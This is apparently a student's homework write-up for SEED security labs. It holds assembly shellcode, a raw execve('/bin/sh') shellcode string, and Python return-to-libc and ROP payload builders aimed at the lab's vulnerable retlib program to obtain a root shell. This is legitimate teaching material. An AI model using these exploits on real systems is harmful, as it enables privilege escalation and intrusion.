# information security hw3 ## 3.1 SEED Lab ### Task 1: Writing Assembly Code ![image](https://hackmd.io/_uploads/SyuQZosCJx.png) ![image](https://hackmd.io/_uploads/BybLboi0ye.png) ### Task 2: Writing Shellcode (Approach 1) 1. ![image](https://hackmd.io/_uploads/SJUXuWhA1x.png) 2. 我設 breakpoint 在 line 9 ,並且在 run 之後輸入 `x/40bx $rbx` 來取得 ![image](https://hackmd.io/_uploads/rkv_eznR1g.png) 3. 在 call one 的時候會把 return address push 進去 stack 。在 one 裡面,我們用 `pop rbx` 把 return address 放到 rbx 裡面,我們的 return address 是指向 two 的`/bin/sh` ,因此我們可以把它 `mov [rbx+8], rbx` 放到 rbx + 8 的位置,就是我們在 two 那邊預留的 `db ’AAAAAAAA’` ,因此我們就成功把 `/bin/sh` 放到 `argv[0]`。接著由於 rax 是存 0 ,我們把它放到 `mov [rbx+16], rax` rbx + 16 這個位置,記事我們在 two 那邊預留的 `db ’BBBBBBBB’` ,因此我們就成功把 `0` 放到 `argv[1]`。 In conclusion, line 12 `mov [rbx+8], rbx` and line 14 `mov [rbx+16], rax` set the values for `argv[0]` and `argv[1]`, respectively. 4. `mov rdi, rbx` 和 `lea rsi, [rbx+8]` 代表的是把數值帶入 execve 的參數裡。`rdi` 代表第一個參數, `rsi` 代表第二個參數,我把 `rbx` 這個 `/bin/sh` 放入第一個參數,再把 `rbx+8` 也就是 argv 的記憶體位置用 `lea` 放進去第二個參數。 #### Task 2.b. Eliminate zeros from the code ![image](https://hackmd.io/_uploads/rJx-Nw6RJe.png) `mov rax, 0x00`, `mov rdx, 0x00`, `mov rax, 59` 這三個會有 0 。 ``` section .text global _start _start: BITS 64 jmp short two one: pop rbx xor al, al mov [rbx+7], al mov [rbx+8], rbx ; store rbx to memory at address rbx + 8 xor rax, rax ; mov [rbx+16], rax ; store rax to memory at address rbx + 16 mov rdi, rbx ; rdi = rbx lea rsi, [rbx+8] ; rsi = rbx + 8 xor rdx, rdx ; mov rax, 0xFFFFFFFFFFFFFF3b ; rax = 59 shl rax, 56 ; shr rax, 56 ; syscall two: call one db '/bin/sh', 0xFF ; The command string (terminated by a zero) db 'AAAAAAAA' ; Place holder for argv[0] db 'BBBBBBBB' ; Place holder for argv[1] ``` ![image](https://hackmd.io/_uploads/Sk0NnIRC1x.png) #### Task 2.c. Run a more complicated command ![image](https://hackmd.io/_uploads/Hk2rw2RA1l.png) ``` section .text global _start _start: BITS 64 jmp short two one: pop rbx; xor al, al; mov [rbx+9], al; mov [rbx+12], al; mov [rbx+31], al; lea rdi, [rbx] ; lea rsi, [rbx+10] ; lea rdx, [rbx+13] ; mov [rbx+32], rdi ; mov [rbx+40], rsi ; mov [rbx+48], rdx ; xor rax, rax ; mov [rbx+56], rax ; mov rdi, rbx ; lea rsi, [rbx+32] ; xor rdx, rdx ; mov rax, 0xFFFFFFFFFFFFFF3b ; rax = 59 shl rax, 56 ; shr rax, 56 ; syscall two: call one db '/bin/bash', 0xFF ; The command string (terminated by a zero) db '-c', 0xFF ; db 'echo hello; ls -la', 0xFF; db 'AAAAAAAA' ; Place holder for argv[0] db 'BBBBBBBB' ; Place holder for argv[1] db 'CCCCCCCC' ; db 'DDDDDDDD' ; ``` #### Task 2.d. Pass environment variables ![image](https://hackmd.io/_uploads/rkAkDUJkgx.png) ``` section .text global _start _start: BITS 64 jmp short two one: pop rbx; xor al, al; mov [rbx+12], al; mov [rbx+22], al; mov [rbx+32], al; mov [rbx+48], al; lea rdi, [rbx] ; ; argv mov [rbx+49], rdi ; xor rax, rax ; mov [rbx+57], rax ; lea rsi, [rbx+13] ; lea rdx, [rbx+23] ; lea rcx, [rbx+33] ; mov [rbx+65], rsi ; mov [rbx+73], rdx ; mov [rbx+81], rcx ; xor rax, rax ; mov [rbx+89], rax ; mov rdi, rbx ; lea rsi, [rbx+49] ; lea rdx, [rbx+65] ; mov rax, 0xFFFFFFFFFFFFFF3b ; rax = 59 shl rax, 56 ; shr rax, 56 ; syscall two: call one db '/usr/bin/env', 0xFF ; The command string (terminated by a zero) db 'aaa=hello', 0xFF ; db 'bbb=world', 0xFF; db 'ccc=hello world', 0xFF; db 'AAAAAAAA' ; Place holder for argv[0] db 'BBBBBBBB' ; Place holder for argv[1] db 'CCCCCCCC' ; db 'DDDDDDDD' ; db 'EEEEEEEE' ; db 'FFFFFFFF' ; ``` ### Task 3: Writing Shellcode (Approach 2) #### Task 3.a ![image](https://hackmd.io/_uploads/BJ_Npbgygg.png) ``` section .text global _start _start: xor rdx, rdx ; 3rd argument (stored in rdx) push rdx mov rax, '-la/////'; push rax ; xor al, al ; mov [rsp+3], al ; mov rax, 'lo; ls ' ; push rax ; mov rax, 'echo hel' ; push rax ; mov r8, rsp ; xor rax, rax ; push rax ; mov rax, '-c//////' ; push rax ; xor al, al ; mov [rsp+2], al ; mov r9, rsp ; xor rax, rax ; push rax ; mov rax, '////bash' ; push rax ; mov rax, '/bin////' ; push rax ; mov rdi, rsp ; 1st argument (stored in rdi) xor rax, rax ; push rax ; push r8 ; push r9 ; push rdi ; mov rsi, rsp ; 2nd argument (stored in rsi) xor rdx, rdx ; ``` #### Task 3.b 第一種方式(jmp-call-pop)把所有字串資料集中放在程式碼段後方,透過 call 跳回來取得位址,用偏移量組成參數,整體看起來更簡潔、邏輯集中,也比較接近實際 exploit 用的 shellcode 結構。相比之下,第二種方式則是直接在堆疊中逐步組裝字串與參數,較為繁瑣且容易出錯,雖然直觀,但閱讀上較混亂。整體來說,我喜歡第一種,因為資料集中、邏輯清楚且維護起來比較輕鬆。 我比較喜歡第一種方式,因為它使用 jmp-call-pop 技巧讓資料和程式碼分離,架構清楚,且利用偏移量操作記憶體可以讓整體邏輯更集中易讀。相較於第二種手動 push 每一段字串、需要注意對齊與順序,第一種方式更有系統,也更像實際 shellcode 的寫法。 ## 3.2 SEED Lab ### Task 1: Finding out the Addresses of libc Functions ![image](https://hackmd.io/_uploads/SkvRnPbyge.png) - `system()` 的地址是 `0xf7dbf760` - `exit()` 的地址是 `0xf7dabd00` - `_exit()` 的地址是 `0xf7e54170` ### Task 2: Putting the shell string in the memory ![image](https://hackmd.io/_uploads/HJSoy0lJxx.png) ![image](https://hackmd.io/_uploads/BkrYavb1xl.png) - `/bin/sh` address is `0xffffd60f` ### Task 3: Launching the Attack 助教你敢相信嗎,我的 exit() 的記憶體位置最後是 00 ,所以 strcpy 會失敗,我想說我運氣真的太差了,所以我到 digitalocean 上重新開一個 vps ,並且重新安裝 seedlab ,結果又一樣,是 00 結尾。 最後我想到可以改用 `_exit()` ,exit() 也是呼叫 `_exit()` ,只是會把 file stream 關掉而已,所以我改用這個,我真的不想再開一個 vps 了。 ![image](https://hackmd.io/_uploads/HkG46w-Jgg.png) ```python= #!/usr/bin/env python3 import sys # Fill content with non-zero values content = bytearray(0xaa for i in range(300)) X = 36 sh_addr = 0xffffd60f # The address of "/bin/sh" content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little') Y = 28 system_addr = 0xf7dbf760 # The address of system() content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little') Z = 32 exit_addr = 0xf7e54170 # The address of exit() content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little') # Save content to a file with open("badfile", "wb") as f: f.write(content) ``` #### Attack variation 1: ```python= #!/usr/bin/env python3 import sys # Fill content with non-zero values content = bytearray(0xaa for i in range(300)) X = 36 sh_addr = 0xffffd60f # The address of "/bin/sh" content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little') Y = 28 system_addr = 0xf7dbf760 # The address of system() content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little') # Z = 32 # exit_addr = 0xf7e54170 # The address of exit() # content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little') # Save content to a file with open("badfile", "wb") as f: f.write(content) ``` ![image](https://hackmd.io/_uploads/BkLgk_W1le.png) 也是可以攻擊,只是因為沒有給它 `exit()` 的記憶體位置,所以當 `system()` 結束時會跳到不知道哪個地方,而造成 segmentation fault ,就像 L 紀上課說的,會比較丑而已,不然沒關係。 ## Attack variation 2: ![image](https://hackmd.io/_uploads/S1bZxdZJeg.png) 會失敗,因為我們的 `/bin/sh` 的記憶體位置為變,當我們的檔案長度不一樣的時候,這個 L 紀也講過,也在前面的 seedlab 有提到,所以老師上課才會取名 `env55` ,確保檔案名稱長度一樣。 ### Task 4: Defeat Shell’s countermeasure ![image](https://hackmd.io/_uploads/Hkf1DOWyxl.png) - `execv()` address is `0xf7e54b40` ```python= #!/usr/bin/env python3 import sys def tobytes ( value ): return (value).to_bytes( 4, byteorder='little' ) # Fill content with non-zero values content = bytearray(0xaa for i in range(300)) execv_addr = 0xf7e54b40 input_addr = 0xffffcfd0 bash_str_offset = 128 p_str_offset = bash_str_offset + 10 argv_offset = p_str_offset + 3 content[bash_str_offset:bash_str_offset+10] = b'/bin/bash\x00' content[p_str_offset:p_str_offset+3] = b'-p\x00' bash_addr = input_addr + bash_str_offset p_addr = input_addr + p_str_offset content[argv_offset:argv_offset+4] = tobytes(bash_addr) content[argv_offset+4:argv_offset+8] = tobytes(p_addr) content[argv_offset+8:argv_offset+12] = tobytes(0) ret_baseaddr = 28 content[ret_baseaddr:ret_baseaddr+4] = tobytes(execv_addr) dummy_ret_addr = 0x11223344 content[ret_baseaddr+4:ret_baseaddr+8] = tobytes(dummy_ret_addr) content[ret_baseaddr+8:ret_baseaddr+12] = tobytes(bash_addr) argv_addr = input_addr + argv_offset content[ret_baseaddr+12:ret_baseaddr+16] = tobytes(argv_addr) # Save content to a file with open("badfile", "wb") as f: f.write(content) ``` 將程式在溢位後的 return address 改為指向 libc 裡的 execv 函式,並在 stack 上準備好 execv 所需要的參數。首先在輸入資料中擺上 /bin/bash 和 -p 的字串,接著在這些字串之後建立一個 argv 陣列,內容包含 /bin/bash、-p 的地址以及 NULL。這些資料會因為被寫入到 main 的 input buffer,而存在記憶體的某個位置,我們可以預測它們的地址並填入給 execv 使用。最後,透過 overflow 改掉 return address,讓程式回傳後跳到 execv,並且傳入準備好的字串與 argv 陣列位置,成功執行 /bin/bash -p 而不會掉權,取得 root shell。 ![image](https://hackmd.io/_uploads/BJ-NovMyeg.png) 成功了 ### Task 5 (Optional): Return-Oriented Programming ![image](https://hackmd.io/_uploads/rk2NZmzkge.png) - `foo()` 的地址是 `0x5655623c` - `_exit()` 的地址是 `0xf7e54170` 參考老師上課寫的 code ```python= #!/usr/bin/python3 import sys def tobytes ( value ): return (value).to_bytes( 4, byteorder='little' ) foo_address = 0x5655622c exit_address = 0xf7e54170 content = bytearray( 0xaa for i in range( 24 ) ) content += tobytes( 0xFFFFFFFF ) for i in range( 10 ): content += tobytes( foo_address ) content += tobytes( exit_address ) with open( "badfile", "wb" ) as f: f.write( content ) ``` ![image](https://hackmd.io/_uploads/B1GPG4MJeg.png) ## 3.3 NX ### BIOS With NX ![image](https://hackmd.io/_uploads/HkPVIUzkgg.png) ### BIOS Without NX 盡力了,我的電腦是 msi 的,我打算直接用我電腦的 bios 做,但我實在找不到 NX bit 要在哪 disable 。 https://www.youtube.com/watch?v=E22LPY8GlHI https://www.youtube.com/watch?v=IzAnxcr6WRI https://www.youtube.com/watch?v=Pp3QfVGBbFo https://www.youtube.com/watch?v=zL5KZVS6vxA https://forum-en.msi.com/index.php?threads/nx-bit-in-bios.262039/ https://download-2.msi.com/archive/mnu_exe/mb/AMDAM5BIOStc.pdf 我也查閱了很多資料,但我這款就是找不到在哪裡關 ![490998598_1205115631190185_8944626884800434145_n](https://hackmd.io/_uploads/B1neaUGkxg.jpg) 我有看到 advanced CPU configuration ,但是點進去,沒有可以關的地方,我也嘗試過查詢的方式,右上角那個按鈕,但是輸入相關字眼,`execution`, `NX`, `bit` ,依然無果。 因此這題我就查了相關資訊,並且給出判斷,我認為如果從 BIOS 那邊把 NX bit disable 掉,我們就可以直接在 stack 和 heap 上執行,而不用加上 `-z execstack` 。 我也附上我在這題用到的程式碼: stack_shellcode.c ```c= #include <stdio.h> #include <string.h> const char shellcode[] = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53" "\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; void test_stack_execution(){ char buffer[100]; memcpy(buffer, shellcode, sizeof(shellcode)); printf("try to execute shellcode on stack...\n"); printf("Shellcode address: %p\n", buffer); void (*func)() = (void (*)())buffer; func(); } int main(){ printf("main address: %p\n", main); test_stack_execution(); return 0; } ``` heap_shellcode.c ```c= #include <stdlib.h> #include <stdio.h> #include <string.h> const char shellcode[] = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53" "\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; int main(int argc, char **argv) { char code[500]; char *c = malloc(1000); strcpy(c, shellcode); int (*func)() = (int(*)())c; func(); return 1; } ``` 如果成功執行,我們就可以得到一個 shell 。 ## 3.4 Password Guess 我們編譯過後的執行檔叫做 `test` 1. 用 gdb ,這邊在編譯的時候有加上 `-g` 參數 ![image](https://hackmd.io/_uploads/r1o8H_fkge.png) 2. 用 strings 指令直接掃描可列印的字串 ![image](https://hackmd.io/_uploads/Syr07dMkxx.png) 就可以找到 Congratulation! The secret is uiwebqwhec12! 3. 使用 readelf 去讀 `.rodata` ![image](https://hackmd.io/_uploads/Hks84uzkgl.png) 4. 使用 objdump 也可以 dump 出我們要的 secret ![image](https://hackmd.io/_uploads/rJe6NOfJll.png) 5. 由於第一個使用 gdb 我怕不給過,因為我在編譯時是有加上 `-g` 的,所以再加一個 使用 hexdump 我們也可以得到 secret ![image](https://hackmd.io/_uploads/SJtZUuMJlg.png) ![image](https://hackmd.io/_uploads/BJ-gLOz1ll.png) ## 3.5 Defeat DASH Countermeasure 這題是 https://blog.ch3nyang.top/post/seedlab_return2libc/ 的 Task 5 教我寫的,不是我自己想出來怎麼寫的。 攻擊 seedlab 提供的 `retlib.c` ```c= #include <stdlib.h> #include <stdio.h> #include <string.h> #ifndef BUF_SIZE #define BUF_SIZE 12 #endif int bof(char *str) { char buffer[BUF_SIZE]; unsigned int *framep; // Copy ebp into framep asm("movl %%ebp, %0" : "=r" (framep)); /* print out information for experiment purpose */ printf("Address of buffer[] inside bof(): 0x%.8x\n", (unsigned)buffer); printf("Frame Pointer value inside bof(): 0x%.8x\n", (unsigned)framep); strcpy(buffer, str); return 1; } void foo(){ static int i = 1; printf("Function foo() is invoked %d times\n", i++); return; } int main(int argc, char **argv) { char input[1000]; FILE *badfile; badfile = fopen("badfile", "r"); int length = fread(input, sizeof(char), 1000, badfile); printf("Address of input[] inside main(): 0x%x\n", (unsigned int) input); printf("Input size: %d\n", length); bof(input); printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n"); return 1; } ``` ![image](https://hackmd.io/_uploads/SJquSEM1el.png) - `/bin/sh` address is `0xffffd610` - `setuid()` address is `0xf7e75f10` - `_exit()` address is `0xf7e54170` - `system()` address is `0xf7dbf760` - `sprintf()` address is `0xf7dcd550` - `leave` address is `0x5655622a` - `ebp_bof` address is `0xffffcfb8` - `foo()` address is `0x5655622c` ![image](https://hackmd.io/_uploads/BJgsUNz1gl.png) ```python= #!/usr/bin/env python3 import sys def tobytes (value): return (value).to_bytes(4, byteorder= 'little') content = bytearray(0xaa for i in range (24)) sh_addr = 0xffffd610 setuid_addr = 0xf7e75f10 exit_addr = 0xf7e54170 system_addr = 0xf7dbf760 sprintf_addr = 0xf7dcd550 leaveret = 0x5655622a ebp_bof = 0xffffcfb8 foo_addr = 0x5655623c sprintf_arg1 = ebp_bof + 12 + 5*0x20 sprintf_arg2 = sh_addr + len("/bin/sh") ebp_next = ebp_bof + 0x20 content += tobytes(ebp_next) content += tobytes(leaveret) content += b'A' * (0x20 - 2*4) for i in range(4): ebp_next += 0x20 content += tobytes(ebp_next) content += tobytes(sprintf_addr) content += tobytes(leaveret) content += tobytes(sprintf_arg1) content += tobytes(sprintf_arg2) content += b'A' * (0x20 - 5*4) sprintf_arg1 += 1 ebp_next += 0x20 content += tobytes(ebp_next) content += tobytes(setuid_addr) content += tobytes(leaveret) content += tobytes(0xFFFFFFFF) content += b'A' * (0x20 - 4*4) ebp_next += 0x20 content += tobytes(ebp_next) content += tobytes(system_addr) content += tobytes(leaveret) content += tobytes(sh_addr) content += b'A' * (0x20 - 4*4) content += tobytes(0xFFFFFFFF) content += tobytes(exit_addr) with open("badfile", "wb") as f: f.write(content) ``` ![image](https://hackmd.io/_uploads/BksOm9Gygg.png)